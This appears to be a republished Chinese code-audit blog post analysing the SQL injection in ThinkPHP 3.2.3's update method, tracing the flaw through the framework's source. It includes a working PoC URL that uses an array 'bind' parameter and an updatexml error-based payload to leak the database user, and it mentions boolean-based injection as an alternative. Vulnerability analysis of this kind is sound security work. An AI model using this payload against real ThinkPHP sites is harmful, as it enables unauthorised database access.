10-PHP代码审计——thinkphp3.2.3 update注入漏洞

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了10-PHP代码审计——thinkphp3.2.3 update注入漏洞相关的知识,希望对你有一定的参考价值。

实验环境的poc:

http://www.tptest.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456

 

通过更改用户密码的案例来分析update注入漏洞的过程:

在分析之前,先梳理一下漏洞利用的过程,update注入的流程是:M函数  -->  where函数  -->  save函数,这和之前的数据库内核注入漏洞流程有些相似的,不同的是,在where函数的参数只有username,在save函数才传入password。

 

 

访问链接提交poc:

 

这一段是update注入的提交的poc:

username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456

从页面返回的结果来看,报错注入成功把数据库的用户信息爆出来了。

可能有同学会这一串数据有疑惑:username[0]=bind&username[1]=0,简单说明一下,这里是利用了thinkphp的连贯操作bind来绕过,后面我们还会介绍。

 

 

那么,话不多说,我们开始分析。定位到where函数:

这里不用说,where函数以数组的方式接收了username,然后将where赋值给options。

 

接着调用了save函数,在save函数内部调用了db->update函数

update函数的2个参数就是之前传入的username和password

 

update函数内部调用了parseSet函数:

protected function parseSet($data) 
    foreach ($data as $key=>$val)
        if(is_array($val) && 'exp' == $val[0])
            $set[]  =   $this->parseKey($key).'='.$val[1];
        elseif(is_null($val))
            $set[]  =   $this->parseKey($key).'=NULL';
        // 过滤非标量数据
        elseif(is_scalar($val)) 
            if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) )
                $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
            else
                $name   =   count($this->bind);
                $set[]  =   $this->parseKey($key).'=:'.$name;
                $this->bindParam($name,$val);
            
        
    
    return ' SET '.implode(',',$set);

取出data的内容给val,is_scalar函数判断val是否为标量,标量指的是是否包含了integer,float,string,boolean类型的变量,其它的都是非标量。

 

 

val满足条件后会继续执行以下三段代码

这几行代码会对this->bind进行绑定,现在bind的内容变成了:0=123456,这里会把set变成了一个数组,里面只有一个元素0,其内容为password=:0,bind和set非常重要,但现在我们只需记住bind和set的内容,后面还会介绍。

 

我们继续分析,定位到parseWhereItem函数

// where子单元分析
protected function parseWhereItem($key,$val) 
    $whereStr = '';
    //是否为数组
    if(is_array($val)) 
        if(is_string($val[0])) 
            //取出第一个元素exp并转小写
$exp   =  strtolower($val[0]);
            //这里正则会匹配exp是否有特殊字符
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp))  // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            elseif(preg_match('/^(notlike|like)$/',$exp))// 模糊查找
                if(is_array($val[1])) 
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR')))
                        $like       =   array();
                        foreach ($val[1] as $item)
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    
                else
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                
            //判断exp是否为bind表达式
            elseif('bind' == $exp ) // 使用表达式
                //将key和val,字符串(= :)拼接
                $whereStr .= $key.' = :'.$val[1];
                //如果没有则会匹配是否有表达式
            elseif('exp' == $exp ) // 使用表达式
                $whereStr .= $key.' '.$val[1];
            elseif(preg_match('/^(notin|not in|in)$/',$exp)) // IN 运算
                if(isset($val[2]) && 'exp'==$val[2]) 
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                else
                    if(is_string($val[1])) 
                         $val[1] =  explode(',',$val[1]);
                    
                    $zone      =   implode(',',$this->parseValue($val[1]));
                    $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                
            elseif(preg_match('/^(notbetween|not between|between)$/',$exp)) // BETWEEN运算
                $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
            else
                E(L('_EXPRESS_ERROR_').':'.$val[0]);
            
        else 
            $count = count($val);
            $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
            if(in_array($rule,array('AND','OR','XOR'))) 
                $count  = $count -1;
            else
                $rule   = 'AND';
            
            for($i=0;$i<$count;$i++) 
                $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                if('exp'==strtolower($val[$i][0])) 
                    $whereStr .= $key.' '.$data.' '.$rule.' ';
                else
                    $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                
            
            $whereStr = '( '.substr($whereStr,0,-4).' )';
        
    else 
        //对字符串类型字段采用模糊匹配
        $likeFields   =   $this->config['db_like_fields'];
        if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) 
            $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
        else 
            $whereStr .= $key.' = '.$this->parseValue($val);
        
    
    return $whereStr;

 

parseWhereItem函数中的参数key是username,val是username数组的内容,val满足条件后会取出val数组的第一个元素内容给exp(此时exp=bind),判断exp是否为bind表达式,whereStr最终的内容如下:

 

parseWhereItem函数执行完毕最终返回到update函数中:

public function update($data,$options) 
    $this->model  =   $options['model'];
    $this->parseBind(!empty($options['bind'])?$options['bind']:array());
    $table  =   $this->parseTable($options['table']);
    //将parseSet函数返回的内容拼接
    $sql   = 'UPDATE ' . $table . $this->parseSet($data);
    if(strpos($table,','))// 多表更新支持JOIN操作
        $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
    
    $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
    if(!strpos($table,','))
        //  单表更新支持order和lmit
        $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
    
    $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
    return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

parseSet函数里返回的内容是数组set,且里面的内容就是`password`=:0,最终拼接成sql语句,$sql变量的内容为:

UPDATE `users` SET `password`=:0 WHERE `username` = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#

 

继续调用execute函数

public function execute($str,$fetchSql=false) 
    $this->initConnect(true);
    if ( !$this->_linkID ) return false;
    $this->queryStr = $str;
    if(!empty($this->bind))
        $that   =   $this;
        $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that) return '\\''.$that->escapeString($val).'\\''; ,$this->bind));
    
    if($fetchSql)
        return $this->queryStr;
    
    //释放前次的查询结果
    if ( !empty($this->PDOStatement) ) $this->free();
    $this->executeTimes++;
    N('db_write',1); // 兼容代码
    // 记录开始执行时间
    $this->debug(true);
    $this->PDOStatement =   $this->_linkID->prepare($str);
    if(false === $this->PDOStatement) 
        $this->error();
        return false;
    
    foreach ($this->bind as $key => $val) 
        if(is_array($val))
            $this->PDOStatement->bindValue($key, $val[0], $val[1]);
        else
            $this->PDOStatement->bindValue($key, $val);
        
    
    $this->bind =   array();
    try
        $result =   $this->PDOStatement->execute();
        // 调试结束
        $this->debug(false);
        if ( false === $result) 
            $this->error();
            return false;
         else 
            $this->numRows = $this->PDOStatement->rowCount();
            if(preg_match("/^\\s*(INSERT\\s+INTO|REPLACE\\s+INTO)\\s+/i", $str)) 
                $this->lastInsID = $this->_linkID->lastInsertId();
            
            return $this->numRows;
        
    catch (\\PDOException $e) 
        $this->error();
        return false;
    

 

execute函数中这一行代码非常关键,strtr函数里使用了this->bind进行了替换,之前poc中的username[1]=0就起到了作用,最终替换后的$this->queryStr内容

 

UPDATE `users` SET `password`=123456 WHERE `username` = 123456 and 1=(updatexml(1,concat(0x3a,(user())),1))#

 

最终这条sql语句执行的时候会把当前数据库用户的信息暴出来,将错误信息返回到前台页面:

 

 

前台页面会显示错误信息是因为thinkphp开启了debug模式,如果是在部署阶段关闭了debug,thinkphp会把报错信息隐藏不在页面显示。报错注入就无法得到想要的信息了,这时候就需要通过布尔注入的方式让页面返回true/false两种不同方式来判断,或者使用其它注入方式。

以上是关于10-PHP代码审计——thinkphp3.2.3 update注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞

ThinkPHP3.2.x RCE

ThinkPHP3.2.3 where注入

ThinkPHP3.2.3 find注入

ThinkPHP3.2.3使用分页

ThinkPHP3.2.3 PHPExcel读取excel插入数据库